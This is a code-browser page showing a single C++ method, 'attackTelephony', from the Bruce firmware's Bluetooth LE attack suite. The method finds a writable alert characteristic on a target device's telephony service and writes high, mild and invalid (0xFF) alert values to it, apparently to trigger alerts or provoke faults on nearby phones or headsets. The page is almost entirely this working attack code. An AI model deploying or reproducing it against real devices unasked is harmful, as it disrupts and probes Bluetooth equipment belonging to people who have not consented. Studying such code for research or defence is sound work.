MCPcopy Create free account
hub / github.com/BruceDevices/firmware / attackTelephony

Method attackTelephony

src/modules/ble/BLE_Suite.cpp:1422–1446  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1420}
1421
1422bool AudioAttackService::attackTelephony(NimBLERemoteService *teleService) {
1423 if (!teleService) return false;
1424 NimBLERemoteCharacteristic *pAlertChar = nullptr;
1425 const char *alertUuids[] = {
1426 "00002a43-0000-1000-8000-00805f9b34fb",
1427 "00002a44-0000-1000-8000-00805f9b34fb",
1428 "00002a45-0000-1000-8000-00805f9b34fb",
1429 nullptr
1430 };
1431
1432 for (int i = 0; alertUuids[i] != nullptr; i++) {
1433 pAlertChar = teleService->getCharacteristic(NimBLEUUID(alertUuids[i]));
1434 if (pAlertChar && pAlertChar->canWrite()) break;
1435 }
1436 if (!pAlertChar) return false;
1437
1438 uint8_t alertHigh[] = {0x02}, alertMild[] = {0x01}, invalidAlert[] = {0xFF};
1439 bool alert1 = pAlertChar->writeValue(alertHigh, 1, true);
1440 delay(300);
1441 bool alert2 = pAlertChar->writeValue(alertMild, 1, true);
1442 delay(300);
1443 bool alert3 = pAlertChar->writeValue(invalidAlert, 1, true);
1444
1445 return (alert1 || alert2 || alert3);
1446}
1447
1448bool AudioAttackService::executeAudioAttack(NimBLEAddress target) {
1449 AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); });

Callers 2

showAudioSubMenuFunction · 0.80
executeAudioTestFunction · 0.80

Calls

no outgoing calls

Tested by

no test coverage detected